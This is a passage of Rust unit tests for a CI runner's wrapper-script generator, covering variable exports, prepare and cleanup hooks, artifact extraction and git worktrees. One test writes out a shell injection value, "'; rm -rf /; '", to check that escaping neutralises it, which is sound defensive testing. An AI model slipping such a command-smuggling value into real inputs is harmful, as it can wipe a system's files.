        let result = resolve_config_value("@nonexistent.sh", Path::new("/tmp"));
        assert!(result.is_err());
    }

    #[test]
    fn test_generate_wrapper_minimal() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let vars = IndexMap::new();
        let script = generate_wrapper_script(
            &runner,
            &vars,
            "echo hello",
            "/home/ci/project",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        assert!(script.starts_with("#!/bin/sh\n"));
        assert!(script.contains("cd \"/home/ci/project\""));
        assert!(script.contains("cat > .cui-cui-job.sh <<'__CUI_CUI_SCRIPT__'"));
        assert!(script.contains("#!/bin/sh\nset -xe\n"));
        assert!(script.contains("echo hello"));
        assert!(script.contains("chmod +x .cui-cui-job.sh"));
        assert!(script.contains("vng --run -- ./.cui-cui-job.sh"));
        // PODMAN_UNSHARE helper is always present
        assert!(script.contains("export PODMAN_UNSHARE"));
        // No CI variable exports besides the helper, no prepare, no cleanup
        let export_count = script.matches("export ").count();
        assert_eq!(export_count, 1, "only PODMAN_UNSHARE should be exported");
        assert!(!script.contains("trap"));
        assert!(!script.contains("prepare"));
        // No set +x guard when there are no variables
        assert!(!script.contains("set +x"));
    }

    #[test]
    fn test_generate_wrapper_with_variables() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let mut vars = IndexMap::new();
        vars.insert("CI_JOB_NAME".to_string(), "build-kernel".to_string());
        vars.insert("DANGEROUS".to_string(), "'; rm -rf /; '".to_string());

        let script = generate_wrapper_script(
            &runner,
            &vars,
            "echo hello",
            "/work",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        assert!(script.contains("export CI_JOB_NAME='build-kernel'"));
        // Injection attempt is safely escaped: ' → '\'' inside single quotes
        let escaped = shell_escape("'; rm -rf /; '");
        let expected = format!("export DANGEROUS={}", escaped);
        assert!(
            script.contains(&expected),
            "expected {:?} in script:\n{}",
            expected,
            script
        );

        // Variables inside the heredoc are wrapped in set +x / set -x
        // to avoid leaking values to the terminal
        let heredoc_start = script.find("__CUI_CUI_SCRIPT__").unwrap();
        let heredoc = &script[heredoc_start..];
        assert!(
            heredoc.contains("{ set +x; } 2>/dev/null"),
            "heredoc should silence xtrace before exports:\n{}",
            heredoc
        );
        assert!(
            heredoc.contains("set -x\n"),
            "heredoc should re-enable xtrace after exports:\n{}",
            heredoc
        );
        assert!(
            heredoc.contains("export CI_JOB_NAME='build-kernel'"),
            "exports should appear inside the heredoc:\n{}",
            heredoc
        );
    }

    #[test]
    fn test_generate_wrapper_with_cleanup() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --".to_string()),
                cleanup: Some("limactl stop vm".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let script = generate_wrapper_script(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/work",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        assert!(script.contains("cleanup() {"));
        assert!(script.contains("    limactl stop vm"));
        assert!(script.contains("trap cleanup EXIT"));
    }

    #[test]
    fn test_generate_wrapper_with_prepare() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --".to_string()),
                prepare: Some("echo starting".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let script = generate_wrapper_script(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/work",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        assert!(script.contains("# --- prepare ---"));
        assert!(script.contains("exec 3<&0\nexec < /dev/null\n"));
        assert!(script.contains("echo starting"));
        assert!(script.contains("exec 0<&3 3<&-\n"));
    }

    #[test]
    fn test_generate_wrapper_with_at_file_prepare() {
        let dir = tempfile::tempdir().unwrap();
        std::fs::write(
            dir.path().join("prepare.sh"),
            "limactl start vm\necho ready\n",
        )
        .unwrap();

        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("limactl shell vm --".to_string()),
                prepare: Some("@prepare.sh".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let script = generate_wrapper_script(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/work",
            &[],
            dir.path(),
            None,
        )
        .unwrap();

        assert!(script.contains("limactl start vm"));
        assert!(script.contains("echo ready"));
    }

    #[test]
    fn test_generate_wrapper_full() {
        // Variables + prepare + cleanup + exec-prefix
        let dir = tempfile::tempdir().unwrap();
        std::fs::write(dir.path().join("cleanup.sh"), "limactl stop vm\n").unwrap();

        let runner = RunnerConfig {
            name: "mac-tester".to_string(),
            host: Some("mac.local".to_string()),
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("limactl shell vm --".to_string()),
                prepare: Some("limactl start vm".to_string()),
                cleanup: Some("@cleanup.sh".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let mut vars = IndexMap::new();
        vars.insert("CI_JOB_IMAGE".to_string(), "fedora:latest".to_string());

        let script =
            generate_wrapper_script(&runner, &vars, "echo hello", "/work", &[], dir.path(), None)
                .unwrap();

        // Verify ordering: variables -> cleanup trap -> prepare -> job
        let var_pos = script.find("export CI_JOB_IMAGE").unwrap();
        let trap_pos = script.find("trap cleanup EXIT").unwrap();
        let prepare_pos = script.find("limactl start vm").unwrap();
        let job_pos = script.find("limactl shell vm --").unwrap();

        assert!(var_pos < trap_pos, "variables before trap");
        assert!(trap_pos < prepare_pos, "trap before prepare");
        assert!(prepare_pos < job_pos, "prepare before job");
    }

    #[test]
    fn test_generate_wrapper_with_artifacts() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("mac.local".to_string()),
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("limactl shell vm --".to_string()),
                prepare: Some("echo prep".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let artifact_tars = vec![
            "/tmp/cui-cui-job-artifact-build.tar".to_string(),
            "/tmp/cui-cui-job-artifact-compile.tar".to_string(),
        ];
        let script = generate_wrapper_script(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/work",
            &artifact_tars,
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        // Artifact extraction should appear after cd, before prepare and job
        assert!(script.contains("# --- artifacts ---"));
        assert!(script.contains("tar xf '/tmp/cui-cui-job-artifact-build.tar'"));
        assert!(script.contains("tar xf '/tmp/cui-cui-job-artifact-compile.tar'"));

        let cd_pos = script.find("cd \"/work\"").unwrap();
        let art_pos = script.find("tar xf").unwrap();
        let prep_pos = script.find("echo prep").unwrap();
        let job_pos = script.find("limactl shell vm --").unwrap();

        assert!(cd_pos < art_pos, "cd before artifacts");
        assert!(art_pos < prep_pos, "artifacts before prepare");
        assert!(prep_pos < job_pos, "prepare before job");
    }

    #[test]
    fn test_remote_artifact_cache_path() {
        assert_eq!(
            remote_artifact_cache_path("mesa/mesa", "build"),
            "~/.cache/cui-cui/mesa--mesa/artifacts/local/build"
        );
    }

    #[test]
    fn test_remote_artifact_cache_path_nested() {
        assert_eq!(
            remote_artifact_cache_path("group/sub/project", "test-job"),
            "~/.cache/cui-cui/group--sub--project/artifacts/local/test-job"
        );
    }

    #[test]
    fn test_remote_artifact_cache_path_simple() {
        assert_eq!(
            remote_artifact_cache_path("myproject", "compile"),
            "~/.cache/cui-cui/myproject/artifacts/local/compile"
        );
    }

    #[test]
    fn test_download_artifacts_empty_paths_returns_none() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            ..Default::default()
        };
        let result = download_artifacts(
            &runner,
            "build",
            "test/proj",
            &[],
            &[],
            &OutputConfig::default(),
        )
        .unwrap();
        assert!(result.is_none());
    }

    #[test]
    fn test_download_artifacts_exec_prefix_empty_paths_returns_none() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let result = download_artifacts(
            &runner,
            "build",
            "test/proj",
            &[],
            &[],
            &OutputConfig::default(),
        )
        .unwrap();
        assert!(result.is_none());
    }

    #[test]
    fn test_upload_artifacts_empty_dirs() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            ..Default::default()
        };
        // Empty artifact_dirs should return Ok immediately
        let result = upload_artifacts(&runner, "test/proj", &[]);
        assert!(result.is_ok());
    }

    #[test]
    fn test_upload_artifacts_skips_missing_dirs() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            ..Default::default()
        };
        // Non-existent source dir should be silently skipped
        let dirs = vec![(
            "build".to_string(),
            PathBuf::from("/nonexistent/artifacts/build"),
        )];
        let result = upload_artifacts(&runner, "test/proj", &dirs);
        assert!(result.is_ok());
    }

    #[test]
    fn test_upload_destination_binary_mode() {
        // Binary mode: upload goes to remote artifact cache
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            ..Default::default()
        };
        // Verify the remote destination path for binary mode
        let dest = remote_artifact_cache_path("mesa/mesa", "build");
        assert_eq!(dest, "~/.cache/cui-cui/mesa--mesa/artifacts/local/build");
        // This is where upload_artifacts would send files (no exec_prefix)
        assert!(!runner.has_custom_runtime());
    }

    #[test]
    fn test_upload_skips_exec_prefix_mode() {
        // Exec-prefix mode: upload_artifacts is skipped entirely (artifacts
        // are shipped as tars and extracted in the wrapper script instead)
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        // Even with artifact_dirs, upload_artifacts returns Ok without doing anything
        let dirs = vec![("build".to_string(), PathBuf::from("/some/artifacts/build"))];
        let result = upload_artifacts(&runner, "test/proj", &dirs);
        assert!(result.is_ok());
    }

    #[test]
    fn test_generate_interactive_wrapper_minimal() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let script = generate_interactive_wrapper(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/home/ci/project",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        assert!(script.starts_with("#!/bin/sh\n"));
        assert!(script.contains("cd \"/home/ci/project\""));
        // Trailing "--" stripped: tool provides its own interactive shell
        assert!(script.contains("vng --run\n"));
        assert!(!script.contains("vng --run -- bash"));
        // CI script is available for manual execution
        assert!(script.contains(".cui-cui-job.sh"));
        assert!(script.contains("echo hello"));
        // Should NOT contain sh -xe (that's the non-interactive wrapper)
        assert!(!script.contains("sh -xe"));
        // No set +x guard when there are no variables
        assert!(!script.contains("set +x"));
    }

    #[test]
    fn test_generate_interactive_wrapper_with_lifecycle() {
        let dir = tempfile::tempdir().unwrap();
        std::fs::write(dir.path().join("cleanup.sh"), "limactl stop vm\n").unwrap();

        let runner = RunnerConfig {
            name: "mac-tester".to_string(),
            host: Some("mac.local".to_string()),
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("limactl shell vm --".to_string()),
                prepare: Some("limactl start vm".to_string()),
                cleanup: Some("@cleanup.sh".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let mut vars = IndexMap::new();
        vars.insert("CI_JOB_NAME".to_string(), "kernel-test".to_string());

        let script = generate_interactive_wrapper(
            &runner,
            &vars,
            "make test",
            "/work",
            &[],
            dir.path(),
            None,
        )
        .unwrap();

        // Variables, cleanup, and prepare should all be present
        assert!(script.contains("export CI_JOB_NAME='kernel-test'"));
        assert!(script.contains("trap cleanup EXIT"));
        assert!(script.contains("limactl start vm"));
        // Interactive: trailing "--" stripped, tool provides its own shell
        assert!(script.contains("limactl shell vm\n"));
        assert!(!script.contains("limactl shell vm -- bash"));
        assert!(!script.contains("sh -xe"));

        // Verify ordering: variables -> cleanup trap -> prepare -> interactive shell
        let var_pos = script.find("export CI_JOB_NAME").unwrap();
        let trap_pos = script.find("trap cleanup EXIT").unwrap();
        let prepare_pos = script.find("limactl start vm").unwrap();
        let shell_pos = script.find("limactl shell vm\n").unwrap();

        assert!(var_pos < trap_pos, "variables before trap");
        assert!(trap_pos < prepare_pos, "trap before prepare");
        assert!(prepare_pos < shell_pos, "prepare before interactive shell");

        // Variables inside the heredoc are wrapped in set +x / set -x
        let heredoc_start = script.find("__CUI_CUI_SCRIPT__").unwrap();
        let heredoc = &script[heredoc_start..];
        assert!(
            heredoc.contains("{ set +x; } 2>/dev/null"),
            "heredoc should silence xtrace before exports:\n{}",
            heredoc
        );
        assert!(
            heredoc.contains("export CI_JOB_NAME='kernel-test'"),
            "exports should appear inside the heredoc:\n{}",
            heredoc
        );
    }

    #[test]
    fn test_interactive_wrapper_no_exec_suffix_appends_bash() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("ssh vm".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let script = generate_interactive_wrapper(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/work",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        assert!(script.contains("ssh vm bash\n"));
    }

    #[test]
    fn test_interactive_wrapper_strips_exec_suffix() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --run --exec".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let script = generate_interactive_wrapper(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/work",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        // --exec stripped: tool provides its own interactive console
        assert!(script.contains("vng --run\n"));
        assert!(!script.contains("vng --run --exec bash"));
    }

    #[test]
    fn test_launch_on_runner_local_without_exec_prefix_runs_container() {
        let runner = RunnerConfig {
            name: "local-runner".to_string(),
            host: None,
            tags: vec!["kvm".to_string()],
            ..Default::default()
        };
        let config = ContainerConfig {
            image: "alpine:latest".to_string(),
            project_dir: PathBuf::from("/tmp/test"),
            variables: Default::default(),
            script_content: "echo hello".to_string(),
            job_name: "test-job".to_string(),
            privileged: false,
            no_overlay: false,
            artifact_dirs: vec![],
            artifacts_paths: vec![],
            artifacts_exclude: vec![],
            artifacts_when: "on_success".to_string(),
            project_path: "test/project".to_string(),
            needs: vec![],
            actions_cache_dir: None,
            git_image: "docker.io/alpine/git:latest".to_string(),
            allow_failure: false,
            runtime: None,
            kernel: None,
            memory: None,
            cpus: None,
        };
        let result = launch_on_runner(&config, &runner, Path::new("/tmp"));
        // Falls through to launch_container which will fail due to no runtime,
        // but it should NOT fail with "Local runner" error
        assert!(result.is_err());
        assert!(!result.unwrap_err().to_string().contains("Local runner"));
    }

    #[test]
    fn test_local_worktree_in_wrapper() {
        let runner = RunnerConfig {
            name: "vng-tester".to_string(),
            host: None,
            tags: vec!["kvm".to_string()],
            custom: Some(CustomRuntimeConfig {
                command: Some("podman unshare vng --exec".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let wt = WorkDir::Worktree {
            source_dir: "/home/user/src/project".to_string(),
            worktree_dir: "/tmp/cui-cui-worktree-project".to_string(),
            diff_path: None,
        };
        let script = generate_wrapper_script(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/home/user/src/project",
            &["/tmp/artifacts.tar".to_string()],
            Path::new("/tmp"),
            Some(&wt),
        )
        .unwrap();

        // Worktree is created before cd
        assert!(script.contains("git -C \"/home/user/src/project\" worktree add --force --detach \"/tmp/cui-cui-worktree-project\""));
        // cd goes to the worktree, not the source dir
        assert!(script.contains("cd \"/tmp/cui-cui-worktree-project\""));
        assert!(!script.contains("cd \"/home/user/src/project\""));
        // Artifacts extracted in the worktree
        assert!(script.contains("tar xf '/tmp/artifacts.tar'"));
        // Cleanup removes the worktree
        assert!(script.contains("worktree remove --force"));
        // Worktree creation comes before cd
        let wt_pos = script.find("worktree add").unwrap();
        let cd_pos = script.find("cd \"/tmp/cui-cui-worktree-project\"").unwrap();
        assert!(wt_pos < cd_pos, "worktree creation before cd");
    }

    #[test]
    fn test_local_worktree_with_diff() {
        let runner = RunnerConfig {
            name: "vng-tester".to_string(),
            host: None,
            tags: vec!["kvm".to_string()],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --exec".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let wt = WorkDir::Worktree {
            source_dir: "/home/user/src/project".to_string(),
            worktree_dir: "/tmp/cui-cui-worktree-project".to_string(),
            diff_path: Some("/tmp/cui-cui-diff.patch".to_string()),
        };
        let script = generate_wrapper_script(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/home/user/src/project",
            &[],
            Path::new("/tmp"),
            Some(&wt),
        )
        .unwrap();

        // Diff is applied after worktree creation
        assert!(script.contains(
            "git -C \"/tmp/cui-cui-worktree-project\" apply \"/tmp/cui-cui-diff.patch\""
        ));
        let wt_pos = script.find("worktree add").unwrap();
        let apply_pos = script
            .find("git apply")
            .unwrap_or_else(|| script.find("apply").unwrap());
        assert!(wt_pos < apply_pos, "worktree before apply");
    }

    #[test]
    fn test_temp_workdir_for_git_strategy_none() {
        let runner = RunnerConfig {
            name: "vng-tester".to_string(),
            host: None,
            tags: vec![],
            custom: Some(CustomRuntimeConfig {
                command: Some("vng --exec".to_string()),
                ..Default::default()
            }),
            ..Default::default()
        };
        let td = WorkDir::TempDir {
            path: "/tmp/cui-cui-workdir-myproject".to_string(),
        };
        let script = generate_wrapper_script(
            &runner,
            &IndexMap::new(),
            "echo hello",
            "/home/user/src/project",
            &["/tmp/artifacts.tar".to_string()],
            Path::new("/tmp"),
            Some(&td),
        )
        .unwrap();

        // Creates temp dir, not a git worktree
        assert!(script.contains("mkdir -p \"/tmp/cui-cui-workdir-myproject\""));
        assert!(!script.contains("worktree"));
        // cd goes to the temp dir
        assert!(script.contains("cd \"/tmp/cui-cui-workdir-myproject\""));
        assert!(!script.contains("cd \"/home/user/src/project\""));
        // Artifacts extracted in temp dir
        assert!(script.contains("tar xf '/tmp/artifacts.tar'"));
        // Cleanup removes the temp dir
        assert!(script.contains("rm -rf \"/tmp/cui-cui-workdir-myproject\""));
    }
}
